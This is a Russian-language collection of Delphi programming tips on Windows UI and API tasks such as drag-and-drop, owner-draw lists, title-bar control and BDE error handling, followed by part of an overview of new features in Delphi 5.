Drag&Drop файлов из FileManager в приложение Delphi

Для использования такого File Manager Drag&Drop, добавьте метод в форму,
который будет обрабатывать сообщение WM_DROPFILES.  Например, поместите
в секцию private в декларации TForm1 строку:

    ...
    procedure WMDropFiles(var msg : TMessage); message WM_DROPFILES;
    ...

Вы должны активировать drag&drop вызовом процедуры DragAcceptFiles() в
обработчике события OnCreate, и деактивировать последующим вызовом
DragAcceptFiles() в обработчике события OnClose или OnDestroy.

Пример:

procedure TForm1.WMDropFiles(var Msg : TMessage);
var
  i, n  : Word;
  Size  : Word;
  FName : String;
  HDrop : Word;

begin
  {1. Получить handle того, что бросили на форму}
  HDrop := Msg.WParam;

  {2. Сколько файлов брошено?}
  n := DragQueryFile(HDrop, $FFFF, NIL, 0);

  {3. Цикл чтения имен файлов}
  for i := 0 to (n - 1) do begin

    {4. Получить размер имени файла}
    Size := DragQueryFile(HDrop, i, NIL, 0);

    {5. Размер строки<255 символов?}
    if Size < 255 then begin
      FName[0] := Chr(Size);
      {6. Получить имя файла}
      DragQueryFile(HDrop, i, @FName[1], Size + 1);
      {-- Далее делаете все, что хотите с этим файлом. --}
    end;

  end;
  {7. Возвращаем ноль.}
  Msg.Result := 0;
  {8. Вызов унаследованного обработчика сообщения}
  inherited;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  DragAcceptFiles(Handle, true);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  DragAcceptFiles(Handle, false);
end;

Помните, что это все относится не обязательно к окну. Любой объект,
имеющий свойство HWnd (наследник TWinControl) может принимать файлы при
drag&drop.

Для того, чтобы минимизированное приложение отвечало на drag&drop файлов,
нужно использовать Application.Handle. В этом случае требуется создать
обработчик события OnMessage, который следит за сообщением WM_DROPFILES.


Serzs. Отображение полных строк списка при перемещении мыши по списку

Отображение полных строк списка при перемещении мыши по списку

Предположим, у нас есть список строк, причем все строки или некоторые не влазят по ширине. Пользоваться прокруткой не всегда удобно. Возможно использование другого варианта. Мышкой проводим по списку и, если строка не влазит по ширине, то появляется Hint, содержащий текущую строку целиком, причем прямо поверх самой строки! Идея подходит ? Тогда это можно реализовать, например, так ...
Текст формы примера :

object MainForm: TMainForm
  Left = 7
  Top = 121
  Width = 200
  Height = 157
  Hint = '34534535'
  Caption = 'Long hints'
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -13
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  ShowHint = True
  OnCreate = FormCreate
  PixelsPerInch = 120
  TextHeight = 16
  object ListBox1: TListBox
    Left = 12
    Top = 12
    Width = 165
    Height = 97
    Hint = '1|2'
    ItemHeight = 16
    Items.Strings = (
      '1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'A1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      '1234567890'
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
      'ABCD')
    ParentShowHint = False
    ShowHint = True
    TabOrder = 0
    OnMouseMove = ListBox1MouseMove
  end
end

Текст модуля :

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TMainForm = class(TForm)
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
    FHintRow : Integer; // Номер строки в списке, на которую указывает мышь

  public
    { Public declarations }
    // Обработчик подсказок
    procedure OnShowHint(var HintStr: string;
                         var CanShow: Boolean;
                         var HintInfo: THintInfo);
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.FormCreate(Sender: TObject);
begin
  FHintRow := -1;
  Application.OnShowHint := OnShowHint; // Установка обработчика
end;

procedure TMainForm.OnShowHint(var HintStr: string;
                               var CanShow: Boolean;
                               var HintInfo: THintInfo);
Var Pos : TPoint;
begin
  with HintInfo do
      if HintControl is TListBox then     // Проверка на нужный объект
         with HintControl as TListBox do
           begin
             Pos.X := 0;
             Pos.Y := ListBox1.Tag;
             HintPos := ListBox1.ClientToScreen(Pos);
             HintStr := ListBox1.Hint;
           end;
end;

procedure TMainForm.ListBox1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var MousePos : TPoint;
    ItemPos  : TRect;
    RowWidth,
    ItemNum  : Integer;
    FHint    : String;
begin
  MousePos.X := X;
  MousePos.Y := Y;
  ItemNum := ListBox1.ItemAtPos(MousePos, True); // Определение номера строки в списке

  if (ItemNum <> FHintRow) then   // Проверка на перемещение мыши на другую строку
     begin
       FHintRow := ItemNum;
       if ItemNum <> -1 then      // Проверка на наличие элементов в списке
          begin
            ItemPos := ListBox1.ItemRect(ItemNum);

            Application.CancelHint; // Снять текущую подсказку
            ListBox1.Tag := ItemPos.Top; // Запоминаем позицию строки по вертикали

            FHint := ListBox1.Items[ItemNum];

            // Проверка на ширину строки
            RowWidth := ListBox1.Canvas.TextWidth( FHint );
            if (RowWidth > ListBox1.ClientWidth)
               then FHint := FHint + '|'
               else FHint := '';

            ListBox1.Hint := FHint;
          end
       else begin ListBox1.Hint := '';
                  Application.CancelHint;
                  ListBox1.Tag := -1; end;
     end
end;

end.
Текст проекта :

program PrjHint;

uses
  Forms,
  Main in 'Main.pas' {MainForm};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TMainForm, MainForm);

  Application.ShowHint := True;
  Application.HintPause := 100;
  Application.HintHidePause := 999999;

  Application.Run;
end.


Аналог процедуры Delay в Delphi

procedure TForm1.Delay(msecs : Longint);
var
   FirstTick : longint;
begin
     FirstTick:=GetTickCount;
     repeat
       Application.ProcessMessages; {для того чтобы не "завесить" Windows}
     until GetTickCount-FirstTick >= msecs;
end;


Вставка графики в ListBox и ComboBox

Возможность поместить графическое изображение в ListBox и ComboBox
может улучшить внешний вид вашего приложения и сделать пользовательский
интерфейс отличным от других.

Ниже приведен пример, как это сделать шаг за шагом ...

1. Создать форму.

2. Поместить компоненты ComboBox и Listbox на форму.

3. Изменить свойство Style у ComboBox'а на csOwnerDrawVariable и
lbOwnerDrawVariable для ListBox'а.

Owner-Draw TListBox или TComboBox позволяют показать и объекты (например,
картинку) и строки одновременно. В данном примере мы добавляем и графический
объект и строку.

4. Создать 5 переменных типа TBitmap в разделе VAR модуля для формы.

5. Создать обработчики для событий OnCreate, OnDraw, OnMeasureItem,
OnClose.

{START OWNERDRW.PAS}
unit Ownerdrw;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    ComboBox1: TComboBox;
    ListBox1: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure ComboBox1MeasureItem(Control: TWinControl; Index: Integer;
      var Height: Integer);
    procedure ListBox1DrawItem(Control: TWinControl; Index: Integer;
      Rect: TRect; State: TOwnerDrawState);
    procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer;
      var Height: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  TheBitmap1, TheBitmap2, TheBitmap3, TheBitmap4,
  TheBitmap5 : TBitmap;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  TheBitmap1 := TBitmap.Create;
  TheBitmap1.LoadFromFile('C:\delphi\images\buttons\globe.bmp');
  TheBitmap2 := TBitmap.Create;
  TheBitmap2.LoadFromFile('C:\delphi\images\buttons\video.bmp');
  TheBitmap3 := TBitmap.Create;
  TheBitmap3.LoadFromFile('C:\delphi\images\buttons\gears.bmp');
  TheBitmap4 := TBitmap.Create;
  TheBitmap4.LoadFromFile('C:\delphi\images\buttons\key.bmp');
  TheBitmap5 := TBitmap.Create;
  TheBitmap5.LoadFromFile('C:\delphi\images\buttons\tools.bmp');
  ComboBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1);
  ComboBox1.Items.AddObject('Bitmap2: Video', TheBitmap2);
  ComboBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3);
  ComboBox1.Items.AddObject('Bitmap4: Key', TheBitmap4);
  ComboBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5);
  ListBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1);
  ListBox1.Items.AddObject('Bitmap2: Video', TheBitmap2);
  ListBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3);
  ListBox1.Items.AddObject('Bitmap4: Key', TheBitmap4);
  ListBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  TheBitmap1.Free;
  TheBitmap2.Free;
  TheBitmap3.Free;
  TheBitmap4.Free;
  TheBitmap5.Free;
end;

procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  Bitmap: TBitmap;
  Offset: Integer;
begin
  with (Control as TComboBox).Canvas do
  begin
    FillRect(Rect);
    Bitmap := TBitmap(ComboBox1.Items.Objects[Index]);
    if Bitmap <> nil then
    begin
      BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width,
                Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
                Bitmap.Height), clRed);
      Offset := Bitmap.width + 8;
    end;
    { display the text }
    TextOut(Rect.Left + Offset, Rect.Top, Combobox1.Items[Index])
  end;
end;

procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; Index:
                                      Integer; var Height: Integer);
begin
  height:= 20;
end;

procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer;
  Rect: TRect; State: TOwnerDrawState);
var
  Bitmap: TBitmap;
  Offset: Integer;
begin
  with (Control as TListBox).Canvas do
  begin
    FillRect(Rect);
    Bitmap := TBitmap(ListBox1.Items.Objects[Index]);
    if Bitmap <> nil then
    begin
      BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width,
                Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width,
                Bitmap.Height), clRed);
      Offset := Bitmap.width + 8;
    end;
    { display the text }
    TextOut(Rect.Left + Offset, Rect.Top, Listbox1.Items[Index])
  end;
end;

procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer;
  var Height: Integer);
begin
  height:= 20;
end;

end.
{END OWNERDRW.PAS}

{START OWNERDRW.DFM}
object Form1: TForm1
  Left = 211
  Top = 155
  Width = 435
  Height = 300
  Caption = 'Form1'
  Font.Color = clWindowText
  Font.Height = -13
  Font.Name = 'System'
  Font.Style = []
  PixelsPerInch = 96
  OnClose = FormClose
  OnCreate = FormCreate
  TextHeight = 16
  object ComboBox1: TComboBox
    Left = 26
    Top = 30
    Width = 165
    Height = 22
    Style = csOwnerDrawVariable
    ItemHeight = 16
    TabOrder = 0
    OnDrawItem = ComboBox1DrawItem
    OnMeasureItem = ComboBox1MeasureItem
  end
  object ListBox1: TListBox
    Left = 216
    Top = 28
    Width = 151
    Height = 167
    ItemHeight = 16
    Style = lbOwnerDrawVariable
    TabOrder = 1
    OnDrawItem = ListBox1DrawItem
    OnMeasureItem = ListBox1MeasureItem
  end
end
{END OWNERDRW.DFM}


Использование обработчика OnHint при наличии нескольких форм

В Online Help и в Visual Component Library Reference описан пример обработчика
события OnHint объекта TApplication. Пример показывает, как можно использовать
панель для отображения подсказок (hint), связанных с другими компонентами. В
примере обработчик OnHint устанавливается во время обработки события OnCreate
для формы; в программе, включающей более чем одну форму, будет трудно
использовать эту технику.

Перемещение присваивания обработчика OnHint из события OnCreate формы в
событие OnActivate позволит различным формам данного приложения работать с
подсказками, как им нужно.

Ниже приведен измененный пример из OnLine Help и VCL Reference.

type
  TForm1 = class(TForm)
    Button1: TButton;
    Panel1: TPanel;
    Edit1: TEdit;
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure DisplayHint(Sender: TObject);
  end;

implementation

{$R *.DFM}

procedure TForm1.DisplayHint(Sender: TObject);
begin
  Panel1.Caption := Application.Hint;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  Application.OnHint := DisplayHint;
end;


Как можно определить, на какой строке в TMemo находится курсор

Весь фокус в сообщении em_LineFromChar.  Попробуйте:

procedure TMyForm.BitBtn1Click(Sender: TObject);
var
  iLine : Integer ;
begin
   iLine := Memo1.Perform(em_LineFromChar, $FFFF, 0);
   { Внимание: номера строк начинаются с нуля }
   messageDlg('Line Number: ' + IntToStr(iLine), mtInformation,
              [mbOK], 0 ) ;
end;


Как открыть ComboBox программно

У ComboBox есть run-time свойство, не упомянутое в On-Line Help - DroppedDown.
Для открытия ComboBox напишите:

   ComboBox1.DroppedDown := True;

Естественно, False закроет его.


Как поместить BitMap в меню?

Может быть так:

var Bmp1 : TBitmap;

...

Bmp1 := TBitmap.Create;
Bmp1.LoadFromFile('c:\where\b1.BMP');
SetMenuItemBitmaps(	MenuItemTest.Handle,
            0,
            MF_BYPOSITION,
            Bmp1.Handle,
            Bmp1.Handle);
...

Параметры:
- MenuItemTest - имя пункта меню /горизонтальная строка/.
- 0,1 ...   позиция пункта меню, в который надо вставить BMP.
- первый из двух handl'ов - для показа невыбранного пункта меню (unchecked).
- второй - для выбранного (checked). Они могут быть разные.

Код можно вставить в обработчик OnCreate для формы.
!! При уничтожении меню BitMap не уничтожается, это надо делать отдельно.


Как поместить двумерный массив в Image

Представим, что данные находятся в массиве:

  TestArray: array[0..127, 0..127] of byte;

Картинка будет иметь размер 128x128 точек:

  Image1.Picture.Bitmap.Width := 128;
  Image1.Picture.Bitmap.Height := 128;

Вызываем функцию Windows API для формирования BitMap:

  SetBitmapBits(Image1.Picture.Bitmap.Handle, sizeof(TestArray), @TestArray);
  Image1.Refresh;  {для того, чтобы изменения отобразились}

Однако, если вы используете свою палитру, то ее нужно создать.


Как программно спрятать/показать заголовок окна (caption)

Вы можете попробовать следующее:

procedure TForm1.HideTitlebar;
var
  Save : Longint;
begin
  if BorderStyle=bsNone then Exit;
  Save:=GetWindowLong(Handle, GWL_STYLE);
  if (Save and WS_CAPTION)=WS_CAPTION then begin
    case BorderStyle of
      bsSingle,
      bsSizeable : SetWindowLong(Handle, GWL_STYLE, Save and
                   (Not WS_CAPTION) or WS_BORDER);
      bsDialog : SetWindowLong(Handle, GWL_STYLE, Save and
                 (Not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height:=Height-GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  End;
end;

procedure TForm1.ShowTitlebar;
var
  Save : Longint;
begin
  if BorderStyle=bsNone then Exit;
  Save:=GetWindowLong(Handle, GWL_STYLE);
  if (Save and WS_CAPTION)<>WS_CAPTION then begin
    case BorderStyle of
      bsSingle,
      bsSizeable : SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or
                   WS_BORDER);
      bsDialog : SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or
        DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height:=Height+getSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;


Как сделать окно, которое перетаскивается не за заголовок (caption), а за все поле

Нужно обрабатывать сообщение WM_NCHITTEST:

    TForm1 = class(TForm)
    ...
    private
    ...
      procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
    ...
    end;

...
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
  inherited;                    { вызов унаследованного обработчика      }
  if  M.Result = htClient then  { Мышь сидит на окне?                    }
    M.Result := htCaption;      { Если да - то пусть Windows думает, что }
                                { мышь на caption bar                    }
end;
...

Окно можно сделать вообще без caption.


Как убрать заголовок(caption) из MDI child

Для MDI child установка свойства BorderStyle = bsNone НЕ убирает заголовок.
Это можно сделать так:

procedure TMDIChildForm.CreateParams( var Params : TCreateParams ) ;
begin
   inherited;
   Params.Style := Params.Style and (not WS_CAPTION) ;
end ;


Обработка исключительных ситуаций (exceptions) EDBEngineError

Информация об ошибке BDE может быть получена для использования в приложении
из EDBEngineError. Исключительная ситуация EDBEngineError обрабатывается в
программе с помощью конструкции try ... except. Когда возникает исключительная
ситуация BDE, то может быть создан объект EDBEngineError и различные поля этого
объекта могут быть использованы для программного определения, что не в порядке
и что требуется для исправления ситуации. Далее, для данной исключительной
ситуации может быть сгенерировано несколько сообщений об ошибках. Это требует
организации перебора сообщений об ошибках для получения нужной информации.

Поля, наиболее важные для данного контекста :

   ErrorCount: Integer; показывает количество ошибок в св-ве Errors;
     счет начинается с нуля.

   Errors: TDBError; набор записей, которые содержат информацию о каждой
     полученной ошибке; доступ к записям происходит по индексу типа Integer.

   Errors.ErrorCode: DBIResult; показывает номер ошибки BDE для текущей
     записи об ошибках в св-ве Errors.

   Errors.Category: Byte; категория ошибки, относящаяся к полю ErrorCode.

   Errors.SubCode: Byte; подкод (subcode) для значения в ErrorCode.

   Errors.NativeError: LongInt; код удаленной ошибки, возвращаемый сервером;
     если ноль, то это ошибка не сервера; возвращаемое SQL запросом значение
     появляется в данном поле.

   Errors.Message: TMessageStr; сообщение об ошибке, сервера или BDE.

В конструкции try..except объект создается напрямую в разделе except.
После создания можно работать поля обычным образом или передавать объект
в другую роцедуру для исследования ошибки. Кроме того, можно создать свой
собственный компонент для использования в данных целях; его набор
функциональных возможностей можно легко переносить между приложениями.
В примере ниже во время возникновения исключительной ситуации BDE создается
объект DBEngineError, передается в процедуру и анализируется для выделения
информации об ошибке.

В конструкции try..except, объект DBEngineError можно создать с помощью
синтаксиса, приведенного ниже:

  procedure TForm1.Button1Click(Sender: TObject);
  var
    i: Integer;
  begin
    if Edit1.Text > ' ' then begin
      Table1.FieldByName('Number').AsInteger := StrToInt(Edit1.Text);
      try
        Table1.Post;
      except on E: EDBEngineError do
        ShowError(E);
      end;
    end;
  end;

В этой процедуре делается попытка изменить значение поля в таблице и затем
вызывается метод Post соответствующей таблицы. В конструкцию try..except
заключается только попытка Post. Если при этом возникает ошибка BDE, то
выполняеся секция except, в которой создается объект E типа EDBEngineError и
затем E передается в процедуру ShowError. Заметьте, что только EDBEngineError
учитывается в данной конструкции. В реальной ситуации нужно, скорее всего,
проверять и другие виды исключительных ситуаций.

Процедура ShowError принимает объект EDBEngineError, передаваемый в качестве
параметра и исследует содержащиеся сообщения об ошибках. В данном примере
информация об ошибках показывается в компоненте TMemo. Первый шаг состоит в
определении количества действительно возникших ошибок. Для этого служит
св-во ErrorCount. После того, как стало известно количество ошибок, можно
использовать цикл для доступа к каждой записи об ошибке в свойстве Error
и помещению информацию о них в TMemo.

  procedure TForm1.ShowError(AExc: EDBEngineError);
  var
    i: Integer;
  begin
    Memo1.Lines.Clear;
    Memo1.Lines.Add('Number of errors: ' + IntToStr(AExc.ErrorCount));
    Memo1.Lines.Add('');
    {Iterate through the Errors records}
    for i := 0 to AExc.ErrorCount - 1 do begin
      Memo1.Lines.Add('Message: ' + AExc.Errors[i].Message);
      Memo1.Lines.Add('   Category: ' +
        IntToStr(AExc.Errors[i].Category));
      Memo1.Lines.Add('   Error Code: ' +
        IntToStr(AExc.Errors[i].ErrorCode));
      Memo1.Lines.Add('   SubCode: ' +
        IntToStr(AExc.Errors[i].SubCode));
      Memo1.Lines.Add('   Native Error: ' +
        IntToStr(AExc.Errors[i].NativeError));
      Memo1.Lines.Add('');
    end;
  end;


Передача переменной в отчет ReportSmith

Следующий код показывает, как передать переменную в отчет.

В примере строковой переменной отчета 'City' присваивается значение ('Bombey').
Подразумевается, что есть готовый отчет с данной переменной.

Поместите компонент TReport на форму и установите требуемые свойства для вызова
печати отчета.

Напишите обработчик OnClick для кнопки Button1 на форме
(кнопка - для простоты) :

procedure TForm1.Button1Click(Sender: TObject);
var s: string;
begin
  s:='CA';
  Report1.InitialValues.Add('@state=<'+s+'>');
  Report1.run;
end;


Переход на другую страницу TabSet по имени

Поместите Tabset(TabSet1) и  Edit (Edit1) на форму.
Добавьте 4 страницы в TabSet -  св-во Tabs: Hello, World, Of, Delphi.

Напишите обработчик OnChange для Edit:

procedure TForm1.Edit1Change(Sender: TObject);
var
  I : Integer;
begin
  for  I:= 0 to tabset1.tabs.count-1 do
   if  edit1.text = tabset1.tabs[I] then
     tabset1.tabindex:=I;
end;

Если набрать любое имя в Edit1, фокус установится на соответствующую страницу.


Получение значения поля типа Memo в Edit без использования объекта TDBMemo

Поместите, например, компонент Table1 на форму, выберите таблицу BIOLIFE.DB
Установите св-во Table1 Active в True.
Поместите на форму компоненты Edit1 и Button1.
Добавьте код в обработчик OnClick для Button1:

procedure TForm1.Button1Click(Sender: TObject);
var
  bs : TBlobStream;
  p  : array [0..50] of char;
begin
  FillChar(p, SizeOf(p), #0);
  bs:= TBlobStream.Create(Table1.FieldByName('Notes'), bmRead);
  try
    bs.Read(p,50);
  finally
    bs.Free;
  end;
  Edit1.Text:=StrPas(p);
end;


Пример, как заставить клавишу

Пример, как заставить клавишу вести себя как в DBGrid

Пример включает также обработку  для всей формы, включая поля и т.д.
Часть, относящаяся к DBGrid обрабатывается в секции ELSE.
Приведенный код не полностью копирует поведение  в DBGrid, с последней
колонки фокус переходит на первую без перехода на следующую запись.

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
{ Это обработчик события OnKeyPress для ФОРМЫ!        }
{ Требуется так же установить св-во KeyPreview в True }
begin
  if Key = #13 then                              { клавиша    }
    if not (ActiveControl is TDBGrid) then begin { если не в TDBGrid }
      Key := #0;                                 { убрать     }
      Perform(WM_NEXTDLGCTL, 0, 0);              { перейти дальше    }
    end
    else if (ActiveControl is TDBGrid) then      { если в TDBGrid }
      with TDBGrid(ActiveControl) do
        if selectedindex < (fieldcount -1) then  { следующее поле }
          selectedindex := selectedindex +1
        else
          selectedindex := 0;
end;


Сканирование доменов локальной сети

Переменная List заполняется списком доменов. Функция возвращает код ошибки обращения к сети.

Function FillNetLevel(xxx: PNetResource; list: TStrings) : Word;
Type
    PNRArr = ^TNRArr;
    TNRArr = array[0..59] of TNetResource;
Var
   x: PNRArr;
   tnr: TNetResource;
   I : integer;
   EntrReq,
   SizeReq,
   twx: Integer;
   WSName: string;
begin
     Result := WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
                                RESOURCEUSAGE_CONTAINER, xxx, twx);
     If Result = ERROR_NO_NETWORK Then Exit;
     if Result = NO_ERROR then
     begin
            New(x);
            EntrReq := 1;
            SizeReq := SizeOf(TNetResource)*59;
            while (twx <> 0) and
                  (WNetEnumResource(twx, EntrReq, x, SizeReq) <> ERROR_NO_MORE_ITEMS) do
            begin
                  For i := 0 To EntrReq - 1 do
                  begin
                   Move(x^[i], tnr, SizeOf(tnr));
                   case tnr.dwDisplayType of
                    RESOURCEDISPLAYTYPE_DOMAIN:
                    begin
                       if tnr.lpRemoteName <> '' then
                           WSName:= tnr.lpRemoteName
                           else WSName:= tnr.lpComment;
                       list.Add(WSName);
                    end;
                    else FillNetLevel(@tnr, list);
                   end;
                  end;
            end;
            Dispose(x);
            WNetCloseEnum(twx);
     end;
end;


Спрятанные приложения

Может быть вы встречали ситуацию, когда в Windows существуют приложения,
которые не видны и на которые нельзя переключиться ни с помощью Alt+Tab,
ни с помощью Task Manger.

Организовать такое приложение можно с помощью вызова API,
функция ShowWindow(), например:

procedure TForm1.OnPaint(Sender:TObject);
begin
  ShowWindow(Form1.Handle, SW_HIDE);
end;


То, чего не было в Паскале (или специальные арифметические функции)

Это не полный список всех функций малоизвестного модуля Math.
Процедуры и функции модуля Math имеют важное преимущество - они работают быстро. Большинство из них написано на ассемблерe.

Сeil | Округление вверх
Floor | Округление вниз
FrExp | Вычисление мантиссы и порядка заданной величины
IntPower | Возведение числа в целую степень.
ldExp | Умножение Х на 2 в заданной степени
LnXp1 | Вычисление натурального логарифма Х+1. Рекомендуется для Х близких к нулю.
LogN | Вычисление логарифма Х по основанию N
Log10 | Десятичный логарифм Х
Log2 | Двоичный логарифм Х
MaxIntValue(MinIntValue) | Возвращается максимальное (минимальное) значение из набора целых чисел.
MaxValue(MinValue) | Возвращается максимальное (минимальное) значение из наборачисел.
Mean | Среднее арифметическое для набора чисел.
Norm | Норма для набора данных(квадратный корень из суммы квадратов).
Power | Возведение числа в степень. Работает медленнее, чем IntPower.
Poly | Вычисление полинома одной переменной. В качестве парметра передается массив коэффициентов , которые должны быть упорядочены по возрастанию степеней Х
Sum | Сумма набора чисел.
SumInt | Сумма набора целых чисел.
SumOfSquares | Сумма квадратов набора чисел.


Delphi 5: среда разработки

Новые инструменты

  • Customized Desktops: использование различных конфигураций среды разработки
  • Object Inspector: некоторые полезные нововведения
  • DataModule Designer: новый редактор модулей данных
  • Code Editor: новые возможности настройки опций редактора кода
  • Опции командной строки
  • Средства управления проектами
  • Нововведения в менеджере проектов
  • Новый браузер проектов
  • To-do list: список недоделанных дел…
  • DFM как текст
  • Управление автоматическим созданием форм в проектах
  • Translation Repository: создадим коллективный словарь…
  • TeamSource - новое средство управления коллективной разработкой проектов

Новое в Visual Component Library

  • Компонент TApplicationEvents
  • Control Panel Applications: приложения для Панели управления
  • Advanced custom drawing: дополнительные события компонентов TToolBar и TListView
  • Новые контейнерные классы
  • Фреймы
  • Новые компоненты для работы с базами данных
  • Новое в поддержке COM
  • MIDAS 3, InternetExpress и XML
  • Компоненты для создания Web-приложений
  • Другие полезные мелочи

Новые возможности отладки

  • Breakpoint actions, breakpoint groups: новые свойства точек прерывания
  • Другие полезные нововведения
  • Вместо заключения


Новое в Visual Component Library

Библиотека компонентов Delphi 5 претерпела серьезные изменения по сравнению с предыдущей версией. Остановимся на них подробнее.

Компонент TApplicationEvents

В предыдущих версиях Delphi для создания обработчика события объекта TApplication следовало создать процедуру, а затем в явном виде присвоить имя этой процедуры обработчику события TApplication, например:

Иными словами, способ создания обработчиков таких событий отличался от привычного, использующего генерацию "заготовок" кода при щелчке на нужной строке инспектора объектов. Теперь же создавать такие обработчики событий можно и традиционным способом. Для этой цели можно использовать новый компонент TApplicationEvents, список событий которого включает все события TApplication. Этот компонент можно поместить на любую форму приложения (и даже на несколько форм), и при наступлении обрабатываемого события все имеющиеся обработчики будут выполняться по очереди. Если необходимо, чтобы один из имеющихся обработчиков этого события выполнялся первым, следует вызвать его метод Activate (например, в обработчике события OnActivate формы, на которой он находится). Для того, чтобы предотвратить выполнение последующих обработчиков данного события, можно вызвать метод CancelDispatch компонента TApplicationEvents.

Control Panel Applications: приложения для Панели управления

Для создания приложений, доступных в Панели управления Windows (*.CPL), в Delphi 5 имеется новый класс TAppletApplication. Такое приложение может содержать несколько модулей - потомков класса TAppletModule, каждый из которых может быть отображен в Панели управления. Для создания таких приложений имеются два эксперта, доступные на странице New репозитария объектов: ControlPanel Application и ControlPanel Module (рис. 17).

Рисунок 17. Апплеты Панели управления, созданные с помощью Delphi 5

Advanced custom drawing: дополнительные события компонентов TToolBar и TListView

В Delphi 5 у компонентов TTreeView, TListView и TToolBar расширен список событий. Теперь, наряду с событиями OnCustomDraw, OnCustomDrawItem и др. имеются также события OnAdvancedCustomDraw, OnAdvancedCustomDrawItem и т.д.

Обработчики этих событий, в отличие от имевшихся прежде, имеют дополнительный параметр, указывающий, на какой стадии перерисовки изображения наступает данное событие.

Создадим простейший пример, иллюстрирующий данные возможности. Поместим на форму компоненты TListView, TToolBar с несколькими кнопками и два компонента TImageList. Добавим в оба компонента TImageList по несколько изображений, а в TListView - несколько элементов, и установим их свойства LargeImages и SmallImages равными номерам изображений из одного из компонентов TListView (рис.1). То же самое проделаем и с компонентами TToolButton. Установим также свойство OwnerDraw компонента TListView равным True (рис. 18).

Рисунок 18. Проект для тестирования событий Advanced Custom Drawing

Создадим обработчики событий, связанных с нажатием на кнопки:

Теперь можно создать обработчики событий OnAdvancedCustomDraw, OnAdvancedCustomDrawItem компонента TListView, например:

Аналогичным образом можно создать и обработчики событий OnAdvancedCustomDraw и OnAdvancedCustomDrawButton компонента TToolBar. В результате можно наблюдать за различными стадиями рисования изображения на этих интерфейсных элементах (рис. 19).

Рисунок 19. Одно из событий Advanced Custom Drawing в момент выполнения его обработчика

Новые контейнерные классы

В библиотеке компонентов Delphi 5 появились новые контейнерные классы TObjectList, TComponentList и TClassList. Все они - потомки класса TList и предназначены для хранения ссылок на объекты, компоненты и классы. TComponentList может отслеживать уничтожение компонента, ссылку на который он содержит, и автоматически удалять ее.

Помимо этого, в Delphi 5 введены новые классы TObjectQueue и TObjectStack, предназначенные для хранения ссылок на объекты в виде очередей и стеков (рис. 20).

Рисунок 20. Иерархия объектов - потомков TList и TOrderedList

Фреймы

В Delphi 5 имеется одно очень полезное нововведение, позволяющее существенно облегчить повторное использование форм. Эта версия Delphi позволяет создавать так называемые фреймы, представляющие собой визуальные контейнеры, которые можно в дальнейшем размещать на формах. Соответствующий эксперт имеется в репозитарии объектов Delphi 5. Выбрав его пиктограмму, можно создать наследник класса TFrame, на котором далее можно размещать интерфейсные элементы и создавать обработчики событий для них точно так же, как это делается в случае обычной формы (рис. 21).

Рисунок 21. Фрейм на этапе разработки

После того как в проекте уже имеются все необходимые фреймы, можно размещать их на формах.

Это делается путем выбора со страницы Standard палитры компонентов "компонента" Frames. При этом появляется список доступных в данном проекте фреймов, из которого следует выбрать нужный. Далее можно изменять свойства как самого фрейма, так и входящих в него компонентов (рис. 22).

Рисунок 22. Приложение, использующее фрейм: можно менять свойства компонентов фрейма.

